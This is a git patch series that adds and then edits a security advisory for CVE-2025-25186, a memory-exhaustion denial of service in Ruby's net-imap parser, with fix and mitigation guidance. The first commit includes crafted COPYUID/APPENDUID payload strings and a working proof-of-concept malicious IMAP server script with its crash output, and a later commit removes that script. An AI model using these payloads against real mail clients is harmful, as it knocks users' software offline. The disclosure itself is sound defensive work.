From 60261f3febedbcd6631e996c61bfb6aa700c8f0d Mon Sep 17 00:00:00 2001 From: Al Snow Date: Tue, 11 Feb 2025 08:44:38 -0500 Subject: [PATCH 1/4] GHSA SYNC: 1 brand new advisory --- gems/net-imap/CVE-2025-25186.yml | 269 +++++++++++++++++++++++++++++++ 1 file changed, 269 insertions(+) create mode 100644 gems/net-imap/CVE-2025-25186.yml diff --git a/gems/net-imap/CVE-2025-25186.yml b/gems/net-imap/CVE-2025-25186.yml new file mode 100644 index 0000000000..9785207db1 --- /dev/null +++ b/gems/net-imap/CVE-2025-25186.yml @@ -0,0 +1,269 @@ +--- +gem: net-imap +cve: 2025-25186 +ghsa: 7fc5-f82f-cx69 +url: https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69 +title: Possible DoS by memory exhaustion in net-imap +date: 2025-02-10 +description: | + ### Summary + There is a possibility for denial of service by memory exhaustion in + `net-imap`'s response parser. At any time while the client is + connected, a malicious server can send can send highly compressed + `uid-set` data which is automatically read by the client's receiver + thread. The response parser uses `Range#to_a` to convert the + `uid-set` data into arrays of integers, with no limitation on the + expanded size of the ranges. + + ### Details + IMAP's `uid-set` and `sequence-set` formats can compress ranges of + numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the + same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or + `COPYUID` response codes, it expands each `uid-set` into an array of + integers. On a 64 bit system, these arrays will expand to 8 bytes + for each number in the set. A malicious IMAP server may send + specially crafted `APPENDUID` or `COPYUID` responses with very large + `uid-set` ranges. + + The `Net::IMAP` client parses each server response in a separate + thread, as soon as each responses is received from the server. + This attack works even when the client does not handle the + `APPENDUID` or `COPYUID` responses. + + Malicious inputs: + + ```ruby + # 40 bytes expands to ~1.6GB: + "* OK [COPYUID 1 1:99999999 1:99999999]\r\n" + + # Worst *valid* input scenario (using uint32 max), + # 44 bytes expands to 64GiB: + "* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n" + + # Numbers must be non-zero uint32, but this isn't validated. Arrays + # larger than UINT32_MAX can be created. For example, the following + # would theoretically expand to almost 800 exabytes: + "* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n" + ``` + + Simple way to test this: + ```ruby + require "net/imap" + + def test(size) + input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n" + parser = Net::IMAP::ResponseParser.new + parser.parse input + end + + test(99_999_999) + ``` + + ### Fixes + + #### Preferred Fix, minor API changes + Upgrade to v0.4.19, v0.5.6, or higher, and configure: + ```ruby + # globally + Net::IMAP.config.parser_use_deprecated_uidplus_data = false + # per-client + imap = Net::IMAP.new(hostname, ssl: true, + parser_use_deprecated_uidplus_data: false) + imap.config.parser_use_deprecated_uidplus_data = false + ``` + + This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. + These classes store their UIDs as `Net::IMAP::SequenceSet` objects + (_not_ expanded into arrays of integers). Code that does not handle + `APPENDUID` or `COPYUID` responses will not notice any difference. + Code that does handle these responses _may_ need to be updated. See + the documentation for + [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), + [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) + and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html). + + For v0.3.8, this option is not available. + For v0.4.19, the default value is `true`. + For v0.5.6, the default value is `:up_to_max_size`. + For v0.6.0, the only allowed value will be `false` _(`UIDPlusData` + will be removed from v0.6)_. + + #### Mitigation, backward compatible API + Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher. + + For backward compatibility, `uid-set` can still be expanded + into an array, but a maximum limit will be applied. + + Assign `config.parser_max_deprecated_uidplus_data_size` to set the + maximum `UIDPlusData` UID set size. When + `config.parser_use_deprecated_uidplus_data == true`, larger sets will crash. + When `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, + larger sets will use `AppendUIDData` or `CopyUIDData`. + + For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets + will always raise `Net::IMAP::ResponseParseError`. + For v0.4.19, the limit defaults to 1000. + For v0.5.6, the limit defaults to 100. + For v0.6.0, the limit will be ignored _(`UIDPlusData` will be + removed from v0.6)_. + + #### Please Note: unhandled responses + + If the client does not add response handlers to prune unhandled + responses, a malicious server can still eventually exhaust all + + client memory, by repeatedly sending malicious responses. However, + `net-imap` has always retained unhandled responses, and it has always + been necessary for long-lived connections to prune these responses. + _This is not significantly different from connecting to a trusted + server with a long-lived connection._ To limit the maximum number + of retained responses, a simple handler might look something like + the following: + + ```ruby + limit = 1000 + imap.add_response_handler do |resp| + next unless resp.respond_to?(:name) && resp.respond_to?(:data) + name = resp.name + code = resp.data.code&.name if resp.data.respond_to?(:code) + if Net::IMAP::VERSION > "0.4.0" + imap.responses(name) { _1.slice!(0...-limit) } + imap.responses(code) { _1.slice!(0...-limit) } + else + imap.responses(name).slice!(0...-limit) + imap.responses(code).slice!(0...-limit) + end + end + ``` + + ### Proof of concept + + Save the following to a ruby file (e.g: `poc.rb`) and + make it executable: + ```ruby + #!/usr/bin/env ruby + require 'socket' + require 'net/imap' + + if !defined?(Net::IMAP.config) + puts "Net::IMAP.config is not available" + elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data) + puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available" + else + Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size + puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size" + end + + size = Integer(ENV["UID_SET_SIZE"] || 2**32-1) + + def server_addr + Addrinfo.tcp("localhost", 0).ip_address + end + + def create_tcp_server + TCPServer.new(server_addr, 0) + end + + def start_server + th = Thread.new do + yield + end + sleep 0.1 until th.stop? + end + + def copyuid_response(tag: "*", size: 2**32-1, text: "too large?") + "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" + end + + def appenduid_response(tag: "*", size: 2**32-1, text: "too large?") + "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" + end + + server = create_tcp_server + port = server.addr[1] + puts "Server started on port #{port}" + + # server + start_server do + sock = server.accept + begin + sock.print "* OK test server\r\n" + cmd = sock.gets("\r\n", chomp: true) + tag = cmd.match(/\A(\w+) /)[1] + puts "Received: #{cmd}" + + malicious_response = appenduid_response(size:) + puts "Sending: #{malicious_response.chomp}" + sock.print malicious_response + + malicious_response = copyuid_response(size:) + puts "Sending: #{malicious_response.chomp}" + sock.print malicious_response + sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n" + sock.print "#{tag} OK CAPABILITY completed\r\n" + + cmd = sock.gets("\r\n", chomp: true) + tag = cmd.match(/\A(\w+) /)[1] + puts "Received: #{cmd}" + sock.print "* BYE If you made it this far, you passed the test!\r\n" + sock.print "#{tag} OK LOGOUT completed\r\n" + rescue Exception => ex + puts "Error in server: #{ex.message} (#{ex.class})" + ensure + sock.close + server.close + end + end + + # client + begin + puts "Client connecting,.." + imap = Net::IMAP.new(server_addr, port: port) + puts "Received capabilities: #{imap.capability}" + pp responses: imap.responses + imap.logout + rescue Exception => ex + puts "Error in client: #{ex.message} (#{ex.class})" + puts ex.full_message + ensure + imap.disconnect if imap + end + ``` + + Use `ulimit` to limit the process's virtual memory. The following + example limits virtual memory to 1GB: + ```console + $ ( ulimit -v 1000000 && exec ./poc.rb ) + Server started on port 34291 + Client connecting,.. + Received: RUBY0001 CAPABILITY + Sending: * OK [APPENDUID 1 1:4294967295] too large? + Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large? + Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET) + Error in client: failed to allocate memory (NoMemoryError) + /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError) + from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command' + from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' + from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' + from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command' + from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' + from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' + from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' + from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' + from /workspace/poc.rb:70:in '
' + ``` +cvss_v3: 6.5 +unaffected_versions: + - "< 0.3.2" +patched_versions: + - "~> 0.3.8" + - "~> 0.4.19" + - ">= 0.5.6" +related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2025-25186 + - https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69 + - https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35 + - https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3 + - https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022 + - https://github.com/advisories/GHSA-7fc5-f82f-cx69 From 828fe92cca6ac6424f9b65eedb085715d7314d0f Mon Sep 17 00:00:00 2001 From: Postmodern Date: Tue, 11 Feb 2025 11:51:44 -0800 Subject: [PATCH 2/4] Update CVE-2025-25186.yml * Added extra newlines after the markdown headers for readability. * Removed the overly long Proof of Concept example. --- gems/net-imap/CVE-2025-25186.yml | 144 ++++--------------------------- 1 file changed, 16 insertions(+), 128 deletions(-) diff --git a/gems/net-imap/CVE-2025-25186.yml b/gems/net-imap/CVE-2025-25186.yml index 9785207db1..1fbc1779fc 100644 --- a/gems/net-imap/CVE-2025-25186.yml +++ b/gems/net-imap/CVE-2025-25186.yml @@ -7,6 +7,7 @@ title: Possible DoS by memory exhaustion in net-imap date: 2025-02-10 description: | ### Summary + There is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed @@ -16,6 +17,7 @@ description: | expanded size of the ranges. ### Details + IMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or @@ -62,7 +64,9 @@ description: | ### Fixes #### Preferred Fix, minor API changes + Upgrade to v0.4.19, v0.5.6, or higher, and configure: + ```ruby # globally Net::IMAP.config.parser_use_deprecated_uidplus_data = false @@ -89,6 +93,7 @@ description: | will be removed from v0.6)_. #### Mitigation, backward compatible API + Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher. For backward compatibility, `uid-set` can still be expanded @@ -120,137 +125,20 @@ description: | of retained responses, a simple handler might look something like the following: - ```ruby - limit = 1000 - imap.add_response_handler do |resp| - next unless resp.respond_to?(:name) && resp.respond_to?(:data) - name = resp.name - code = resp.data.code&.name if resp.data.respond_to?(:code) - if Net::IMAP::VERSION > "0.4.0" - imap.responses(name) { _1.slice!(0...-limit) } - imap.responses(code) { _1.slice!(0...-limit) } - else - imap.responses(name).slice!(0...-limit) - imap.responses(code).slice!(0...-limit) - end - end - ``` - - ### Proof of concept - - Save the following to a ruby file (e.g: `poc.rb`) and - make it executable: ```ruby - #!/usr/bin/env ruby - require 'socket' - require 'net/imap' - - if !defined?(Net::IMAP.config) - puts "Net::IMAP.config is not available" - elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data) - puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available" - else - Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size - puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size" - end - - size = Integer(ENV["UID_SET_SIZE"] || 2**32-1) - - def server_addr - Addrinfo.tcp("localhost", 0).ip_address - end - - def create_tcp_server - TCPServer.new(server_addr, 0) - end - - def start_server - th = Thread.new do - yield - end - sleep 0.1 until th.stop? - end - - def copyuid_response(tag: "*", size: 2**32-1, text: "too large?") - "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" - end - - def appenduid_response(tag: "*", size: 2**32-1, text: "too large?") - "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" - end - - server = create_tcp_server - port = server.addr[1] - puts "Server started on port #{port}" - - # server - start_server do - sock = server.accept - begin - sock.print "* OK test server\r\n" - cmd = sock.gets("\r\n", chomp: true) - tag = cmd.match(/\A(\w+) /)[1] - puts "Received: #{cmd}" - - malicious_response = appenduid_response(size:) - puts "Sending: #{malicious_response.chomp}" - sock.print malicious_response - - malicious_response = copyuid_response(size:) - puts "Sending: #{malicious_response.chomp}" - sock.print malicious_response - sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n" - sock.print "#{tag} OK CAPABILITY completed\r\n" - - cmd = sock.gets("\r\n", chomp: true) - tag = cmd.match(/\A(\w+) /)[1] - puts "Received: #{cmd}" - sock.print "* BYE If you made it this far, you passed the test!\r\n" - sock.print "#{tag} OK LOGOUT completed\r\n" - rescue Exception => ex - puts "Error in server: #{ex.message} (#{ex.class})" - ensure - sock.close - server.close + limit = 1000 + imap.add_response_handler do |resp| + next unless resp.respond_to?(:name) && resp.respond_to?(:data) + name = resp.name + code = resp.data.code&.name if resp.data.respond_to?(:code) + if Net::IMAP::VERSION > "0.4.0" + imap.responses(name) { _1.slice!(0...-limit) } + imap.responses(code) { _1.slice!(0...-limit) } + else + imap.responses(name).slice!(0...-limit) + imap.responses(code).slice!(0...-limit) end end - - # client - begin - puts "Client connecting,.." - imap = Net::IMAP.new(server_addr, port: port) - puts "Received capabilities: #{imap.capability}" - pp responses: imap.responses - imap.logout - rescue Exception => ex - puts "Error in client: #{ex.message} (#{ex.class})" - puts ex.full_message - ensure - imap.disconnect if imap - end - ``` - - Use `ulimit` to limit the process's virtual memory. The following - example limits virtual memory to 1GB: - ```console - $ ( ulimit -v 1000000 && exec ./poc.rb ) - Server started on port 34291 - Client connecting,.. - Received: RUBY0001 CAPABILITY - Sending: * OK [APPENDUID 1 1:4294967295] too large? - Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large? - Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET) - Error in client: failed to allocate memory (NoMemoryError) - /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError) - from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command' - from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' - from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' - from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command' - from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' - from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' - from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' - from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' - from /workspace/poc.rb:70:in '
' ``` cvss_v3: 6.5 unaffected_versions: From 5fa552cbf02c337fcf83160bc6c9d4cce28b53a4 Mon Sep 17 00:00:00 2001 From: Postmodern Date: Tue, 11 Feb 2025 11:53:41 -0800 Subject: [PATCH 3/4] Update CVE-2025-25186.yml * Remove extra indentation added by GitHub's Editor. --- gems/net-imap/CVE-2025-25186.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/gems/net-imap/CVE-2025-25186.yml b/gems/net-imap/CVE-2025-25186.yml index 1fbc1779fc..a9b54b7338 100644 --- a/gems/net-imap/CVE-2025-25186.yml +++ b/gems/net-imap/CVE-2025-25186.yml @@ -7,7 +7,7 @@ title: Possible DoS by memory exhaustion in net-imap date: 2025-02-10 description: | ### Summary - + There is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed @@ -17,7 +17,7 @@ description: | expanded size of the ranges. ### Details - + IMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or @@ -64,7 +64,7 @@ description: | ### Fixes #### Preferred Fix, minor API changes - + Upgrade to v0.4.19, v0.5.6, or higher, and configure: ```ruby From 155972f969e8eef3278bb9fe0e4a4c20cabe4186 Mon Sep 17 00:00:00 2001 From: Postmodern Date: Tue, 11 Feb 2025 11:58:46 -0800 Subject: [PATCH 4/4] Update CVE-2025-25186.yml * Removed more extra indentation added by GitHub's Editor. --- gems/net-imap/CVE-2025-25186.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/gems/net-imap/CVE-2025-25186.yml b/gems/net-imap/CVE-2025-25186.yml index a9b54b7338..edc669522c 100644 --- a/gems/net-imap/CVE-2025-25186.yml +++ b/gems/net-imap/CVE-2025-25186.yml @@ -66,7 +66,7 @@ description: | #### Preferred Fix, minor API changes Upgrade to v0.4.19, v0.5.6, or higher, and configure: - + ```ruby # globally Net::IMAP.config.parser_use_deprecated_uidplus_data = false @@ -93,7 +93,7 @@ description: | will be removed from v0.6)_. #### Mitigation, backward compatible API - + Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher. For backward compatibility, `uid-set` can still be expanded